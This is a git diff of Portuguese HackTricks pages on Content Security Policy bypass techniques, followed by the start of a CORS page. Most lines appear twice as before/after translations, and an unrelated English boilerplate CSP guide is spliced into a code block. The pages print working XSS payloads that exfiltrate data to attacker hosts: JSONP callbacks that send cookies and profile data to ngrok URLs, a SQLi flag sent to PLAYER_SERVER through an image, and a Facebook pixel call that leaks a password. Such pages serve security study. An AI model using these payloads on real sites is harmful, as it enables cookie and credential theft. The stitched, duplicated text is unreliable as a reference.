Além disso, mesmo que você consiga fazer o upload de um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não será suficiente, pois alguns servidores como o servidor apache **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome irão **rejeitar a execução de código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem falhas. Por exemplo, em um CTF eu aprendi que o **Apache não reconhece** a extensão _**.wave**_, portanto não a serve com um **tipo MIME como audio/\***.
Além disso, mesmo que você consiga enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não será suficiente porque alguns servidores como o servidor apache **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome irão **rejeitar a execução de código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem falhas. Por exemplo, em um CTF eu aprendi que o **Apache não reconhece** a extensão _**.wave**_, portanto não a serve com um **tipo MIME como audio/\***.
A partir daqui, se você encontrar um XSS e um upload de arquivo, e conseguir encontrar uma **extensão interpretada erroneamente**, você pode tentar fazer o upload de um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglotas aqui](https://github.com/Polydet/polyglot-database)).
A partir daqui, se você encontrar um XSS e um envio de arquivo, e conseguir encontrar uma **extensão mal interpretada**, você pode tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglotas aqui](https://github.com/Polydet/polyglot-database)).
### Endpoints de Terceiros + ('unsafe-eval')
### Pontos de Extremidade de Terceiros + ('unsafe-eval')
{% hint style="warning" %}
Para alguns dos payloads a seguir, **`unsafe-eval` nem é necessário**.
@ -232,7 +232,7 @@ O post mostra que você poderia **carregar** todas as **bibliotecas** de `cdn.cl
{{[].erase.call().alert('xss')}}
</div>
```
#### Explorando o código JS do Google reCAPTCHA
#### Abusando do código JS do Google reCAPTCHA
De acordo com [**este relatório de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) você pode abusar do [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de um CSP para executar código JS arbitrário, burlando o CSP:
```html
@ -249,7 +249,7 @@ ng-init="c.init()"
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os endpoints JSONP permitem métodos de retorno de chamada inseguros que permitem a um atacante realizar XSS, payload de trabalho:
Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os pontos finais JSONP permitem métodos de retorno de chamada inseguros que permitem a um atacante realizar XSS, payload de trabalho:
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -259,15 +259,15 @@ Cenários como este, onde `script-src` está definido como `self` e um domínio
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contém endpoints JSONP prontos para serem usados para burlar CSP de diferentes sites.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contém endpoints JSONP prontos para uso para burlar CSP de diferentes sites.**
A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Redirecionamento Aberto** porque se o endpoint inicial for confiável, os redirecionamentos também são confiáveis.
### Abusos de Terceiros
Conforme descrito no [seguinte post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
Conforme descrito no [post seguinte](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
| Entidade | Domínio Permitido | Capacidades |
|--------|----------------|--------------|
|----------|-------------------|-------------|
| Facebook | www.facebook.com, *.facebook.com | Exfil |
| Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
@ -277,7 +277,7 @@ Conforme descrito no [seguinte post](https://sensepost.com/blog/2023/dress-code-
| Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
| Google Firebase | *.firebaseapp.com | Exfil, Exec |
Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa burlar o CSP se registrando no serviço de terceiros e, assim, exfiltrar dados para esse serviço ou executar código.
Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa burlar o CSP registrando-se no serviço de terceiros e, assim, exfiltrar dados para esse serviço ou executar código.
Por exemplo, se você encontrar o seguinte CSP:
```
@ -287,49 +287,48 @@ Content-Security-Policy: default-src 'self www.facebook.com;
## Introduction
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific web page. However, in some cases, CSP can be misconfigured or not implemented properly, leading to potential security vulnerabilities.
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control which resources can be loaded on their websites. However, CSP can sometimes be misconfigured, allowing attackers to bypass its restrictions.
## Bypass Techniques
In this guide, we will explore various techniques to bypass CSP protections and execute malicious code on a target website.
### 1. Inline Script Execution
## Table of Contents
If a CSP allows `'unsafe-inline'` for script-src, it permits the execution of inline JavaScript code. This can be exploited by an attacker to execute arbitrary code inline, bypassing the CSP restrictions.
- [Bypassing CSP with Inline Scripts](bypassing-csp-inline-scripts.md)
- [Bypassing CSP with External Scripts](bypassing-csp-external-scripts.md)
- [Bypassing CSP with Inline Styles](bypassing-csp-inline-styles.md)
- [Bypassing CSP with External Styles](bypassing-csp-external-styles.md)
- [Bypassing CSP with Nonces](bypassing-csp-nonces.md)
- [Bypassing CSP with Trusted Types](bypassing-csp-trusted-types.md)
### 2. Data: URI Scheme
## Disclaimer
Using the `data:` URI scheme, an attacker can embed the contents of a script directly into the HTML document. If the CSP policy allows `data:` as a valid source for scripts, this technique can be used to bypass CSP restrictions.
### 3. Script Gadgets
Script gadgets are small pieces of code that can be used to bypass CSP restrictions by manipulating the behavior of existing scripts on the page. By leveraging script gadgets, an attacker can execute malicious code without triggering CSP violations.
## Conclusion
Content Security Policy is a powerful security mechanism that can help protect web applications from various types of attacks. However, it is essential to configure CSP properly to ensure its effectiveness. By understanding common bypass techniques, developers and security professionals can better secure their web applications against potential CSP bypass vulnerabilities.
This guide is for educational purposes only. Do not use these techniques for illegal activities.
```
Content-Security-Policy: connect-src www.facebook.com;
```
Deverá ser capaz de exfiltrar dados, da mesma forma como sempre foi feito com [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Neste caso, siga estes passos gerais:
Deverá ser capaz de exfiltrar dados, da mesma forma como sempre foi feito com o [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Neste caso, siga estes passos gerais:
1. Crie uma conta de desenvolvedor no Facebook aqui.
1. Crie um novo aplicativo "Facebook Login" e selecione "Website".
1. Vá para "Configurações -> Básico" e obtenha seu "ID do Aplicativo".
1. No site alvo de onde deseja exfiltrar dados, você pode exfiltrar dados diretamente usando o gadget do Facebook SDK "fbq" por meio de um "customEvent" e a carga de dados.
1. No site alvo de onde deseja exfiltrar dados, você pode exfiltrar dados diretamente usando o gadget do Facebook SDK "fbq" através de um "customEvent" e a carga de dados.
1. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (observe que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
1. Selecione a aba "Eventos de Teste" para ver os eventos sendo enviados pelo site "seu".
Em seguida, no lado da vítima, execute o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o ID do aplicativo do desenvolvedor do Facebook do atacante e emitir um evento personalizado como este:
Em seguida, no lado da vítima, execute o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o aplicativo do desenvolvedor do Facebook do atacante com o ID do aplicativo e emitir um evento personalizado como este:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
### Bypass através de RPO (Sobrescrita de Caminho Relativo) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Quanto aos outros sete domínios de terceiros especificados na tabela anterior, existem muitas outras maneiras de abusar deles. Consulte o [post do blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) anterior para explicações adicionais sobre outros abusos de terceiros.
Além da mencionada redireção para contornar restrições de caminho, existe outra técnica chamada Sobrescrita de Caminho Relativo (RPO) que pode ser usada em alguns servidores.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Por exemplo, se CSP permitir o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
Além da mencionada redireção para contornar restrições de caminho, existe outra técnica chamada Relative Path Overwrite (RPO) que pode ser usada em alguns servidores.
Por exemplo, se o CSP permitir o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
@ -414,7 +413,7 @@ Aqui está um exemplo:
```
Se o CSP estiver definido como `https://www.google.com/a/b/c/d`, uma vez que o caminho é considerado, os scripts `/test` e `/a/test` serão bloqueados pelo CSP.
No entanto, o `http://localhost:5555/301` final será **redirecionado no lado do servidor para `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Como se trata de um redirecionamento, o **caminho não é considerado** e o **script pode ser carregado**, contornando assim a restrição do caminho.
No entanto, o `http://localhost:5555/301` final será **redirecionado no lado do servidor para `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Como se trata de um redirecionamento, o **caminho não é considerado** e o **script pode ser carregado**, contornando assim a restrição de caminho.
Com esse redirecionamento, mesmo que o caminho seja especificado completamente, ele ainda será contornado.
@ -430,13 +429,13 @@ default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` significa que você pode executar qualquer script dentro do código (XSS pode executar código) e `img-src *` significa que você pode usar na página web qualquer imagem de qualquer recurso.
Você pode contornar esse CSP exfiltrando os dados por meio de imagens (neste caso, o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi e extrai a flag por meio de uma imagem):
Você pode contornar essa CSP exfiltrando os dados por meio de imagens (neste caso, o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi e extrai a flag por meio de uma imagem):
```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```
De: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Também é possível abusar dessa configuração para **carregar código JavaScript inserido dentro de uma imagem**. Por exemplo, se a página permitir o carregamento de imagens do Twitter, você poderia **criar** uma **imagem especial**, **fazer upload** dela no Twitter e abusar do "**unsafe-inline**" para **executar** um código JS (como um XSS regular) que irá **carregar** a **imagem**, **extrair** o **JS** dela e **executá-lo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Também é possível abusar dessa configuração para **carregar código JavaScript inserido dentro de uma imagem**. Se, por exemplo, a página permitir o carregamento de imagens do Twitter, você poderia **criar** uma **imagem especial**, **carregá-la** no Twitter e abusar do "**unsafe-inline**" para **executar** um código JS (como um XSS regular) que irá **carregar** a **imagem**, **extrair** o **JS** dela e **executá-lo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Com Service Workers
@ -468,7 +467,7 @@ Exemplo: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y
### img-src \*; via XSS (iframe) - Ataque de tempo
Observe a falta da diretiva `'unsafe-inline'`\
Desta vez, você pode fazer a vítima **carregar** uma página em **seu controle** via **XSS** com um `<iframe`. Desta vez, você fará a vítima acessar a página de onde deseja extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página precisa para carregar** você pode extrair as informações necessárias.
Desta vez, você pode fazer a vítima **carregar** uma página sob **seu controle** via **XSS** com um `<iframe`. Desta vez, você fará a vítima acessar a página de onde deseja extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página precisa para carregar** você pode extrair as informações necessárias.
Desta vez uma **bandeira** será extraída, sempre que um **caractere for corretamente adivinhado** via SQLi a **resposta** levará **mais tempo** devido à função de sleep. Em seguida, você poderá extrair a bandeira:
```html
@ -536,9 +535,9 @@ Este ataque implicaria alguma engenharia social onde o atacante **convence o usu
Para mais informações [**verifique o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### Bypass de CSP restringindo CSP
### CSP bypass restringindo o CSP
Neste [**writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado ao injetar dentro de um iframe permitido um CSP mais restritivo que proibia o carregamento de um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.
Neste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado ao injetar dentro de um iframe permitido um CSP mais restritivo que proibia o carregamento de um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.
Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
@ -549,7 +548,7 @@ Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
{% endcode %}
No [**writeup do CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível, por meio de **injeção de HTML**, **restringir** ainda mais um **CSP** para que um script que impedia CSTI fosse desativado e, portanto, a **vulnerabilidade se tornasse explorável.**\
O CSP pode ser tornar mais restritivo usando **tags meta de HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seu **nonce** e **habilitando scripts inline específicos via sha**:
O CSP pode ser tornar mais restritivo usando **meta tags HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seu **nonce** e **habilitando scripts inline específicos via sha**:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
@ -569,12 +568,12 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
### Vazamento de Informações com CSP e Iframe
- Um `iframe` é criado apontando para uma URL (vamos chamá-la de `https://example.redirect.com`) que é permitida pelo CSP.
- Essa URL então redireciona para uma URL secreta (por exemplo, `https://usersecret.example2.com`) que **não é permitida** pelo CSP.
- Ao escutar o evento `securitypolicyviolation`, é possível capturar a propriedade `blockedURI`. Essa propriedade revela o domínio da URI bloqueada, vazando o domínio secreto para o qual a URL inicial redirecionou.
- Esta URL então redireciona para uma URL secreta (por exemplo, `https://usersecret.example2.com`) que **não é permitida** pelo CSP.
- Ao escutar o evento `securitypolicyviolation`, é possível capturar a propriedade `blockedURI`. Esta propriedade revela o domínio da URI bloqueada, vazando o domínio secreto para o qual a URL inicial redirecionou.
É interessante notar que navegadores como Chrome e Firefox têm comportamentos diferentes ao lidar com iframes em relação ao CSP, levando a vazamentos potenciais de informações sensíveis devido ao comportamento indefinido.
É interessante notar que navegadores como o Chrome e o Firefox têm comportamentos diferentes ao lidar com iframes em relação ao CSP, levando a vazamentos potenciais de informações sensíveis devido ao comportamento indefinido.
Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método se baseia em um algoritmo de busca binária e na ajustagem do CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar esse método:
Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método se baseia em um algoritmo de busca binária e na ajustagem do CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar este método:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
@ -619,7 +618,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### ALGUNS + 'self' + wordpress
ALGUNS é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** **de outros endpoints da mesma origem.** Isso é feito carregando o endpoint vulnerável de uma página do atacante e, em seguida, atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, consulte:
ALGUNS é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** de **outros endpoints da mesma origem.** Isso é feito carregando o endpoint vulnerável de uma página do atacante e, em seguida, atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, consulte:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
@ -627,7 +626,7 @@ ALGUNS é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um e
Além disso, o **wordpress** possui um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que irá **refletir** os **dados** enviados na saída (com a limitação de apenas letras, números e pontos).
Um atacante pode abusar desse endpoint para **gerar um ataque ALGUNS** contra o WordPress e **incorporá-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` observe que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque ALGUNS** através do **endpoint de retorno de chamada** **vulnerável** que **burla o CSP** para conceder mais privilégios a um usuário, instalar um novo plugin...\
Um atacante pode abusar desse endpoint para **gerar um ataque ALGUNS** contra o WordPress e **incorporá-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` observe que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque ALGUNS** através do **endpoint de retorno** **vulnerável** que **burla o CSP** para conceder mais privilégios a um usuário, instalar um novo plugin...\
Para mais informações sobre como realizar esse ataque, consulte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## Bypasses de Exfiltração CSP
@ -693,12 +692,12 @@ var pc = new RTCPeerConnection({
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
## Verificando Políticas CSP Online
## Verificação de Políticas CSP Online
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## Criando CSP Automaticamente
## Criação Automática de CSP
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
@ -726,7 +725,7 @@ Engaje-se com conteúdo que explora a emoção e os desafios do hacking
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
**Últimos Anúncios**\
Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
@ -739,7 +738,7 @@ Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -7,7 +7,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -74,7 +74,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -6,19 +6,19 @@
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## O que é CORS?
Cross-Origin Resource Sharing (CORS) padrão **permite que servidores definam quem pode acessar seus ativos** e **quais métodos de solicitação HTTP são permitidos** de fontes externas.
O padrão Cross-Origin Resource Sharing (CORS) **permite que os servidores definam quem pode acessar seus ativos** e **quais métodos de solicitação HTTP são permitidos** de fontes externas.
Uma política de **mesma origem** exige que um **servidor solicitante** de um recurso e o servidor que hospeda o **recurso** compartilhem o mesmo protocolo (por exemplo, `http://`), nome de domínio (por exemplo, `internal-web.com`), e **porta** (por exemplo, 80). Sob essa política, apenas páginas da web do mesmo domínio e porta têm permissão para acessar os recursos.
Uma política de **mesma origem** exige que um **servidor solicitante** de um recurso e o servidor que hospeda o **recurso** compartilhem o mesmo protocolo (por exemplo, `http://`), nome de domínio (por exemplo, `internal-web.com`) e **porta** (por exemplo, 80). Sob essa política, apenas páginas da web do mesmo domínio e porta têm permissão para acessar os recursos.
A aplicação da política de mesma origem no contexto de `http://normal-website.com/example/example.html` é ilustrada da seguinte forma:
@ -35,9 +35,9 @@ A aplicação da política de mesma origem no contexto de `http://normal-website
### Cabeçalho `Access-Control-Allow-Origin`
Esse cabeçalho pode permitir **múltiplas origens**, um valor **`null`**, ou um caractere coringa **`*`**. No entanto, **nenhum navegador suporta múltiplas origens**, e o uso do caractere coringa `*` está sujeito a **limitações**. (O caractere coringa deve ser usado sozinho, e seu uso junto com `Access-Control-Allow-Credentials: true` não é permitido.)
Este cabeçalho pode permitir **múltiplas origens**, um valor **`null`**, ou um caractere curinga **`*`**. No entanto, **nenhum navegador suporta múltiplas origens**, e o uso do caractere curinga `*` está sujeito a **limitações**. (O caractere curinga deve ser usado sozinho, e seu uso junto com `Access-Control-Allow-Credentials: true` não é permitido.)
Esse cabeçalho é **emitido por um servidor** em resposta a uma solicitação de recurso entre domínios iniciada por um site, com o navegador adicionando automaticamente um cabeçalho `Origin`.
Este cabeçalho é **emitido por um servidor** em resposta a uma solicitação de recurso entre domínios iniciada por um site, com o navegador adicionando automaticamente um cabeçalho `Origin`.
### Cabeçalho `Access-Control-Allow-Credentials`
@ -74,13 +74,13 @@ xhr.send('<person><name>Arun</name></person>');
### Compreensão das Solicitações de Pré-voo na Comunicação entre Domínios
Ao iniciar uma solicitação entre domínios sob condições específicas, como usar um **método HTTP não padrão** (qualquer coisa diferente de HEAD, GET, POST), introduzir novos **cabeçalhos**, ou empregar um valor especial de **cabeçalho Content-Type**, pode ser necessária uma solicitação de pré-voo. Essa solicitação preliminar, utilizando o método **`OPTIONS`**, serve para informar o servidor sobre as intenções da futura solicitação entre origens, incluindo os métodos e cabeçalhos HTTP que pretende usar.
Ao iniciar uma solicitação entre domínios sob condições específicas, como usar um **método HTTP não padrão** (qualquer coisa diferente de HEAD, GET, POST), introduzir novos **cabeçalhos**, ou empregar um valor de cabeçalho **Content-Type** especial, pode ser necessária uma solicitação de pré-voo. Essa solicitação preliminar, aproveitando o método **`OPTIONS`**, serve para informar o servidor sobre as intenções da futura solicitação entre origens, incluindo os métodos e cabeçalhos HTTP que pretende usar.
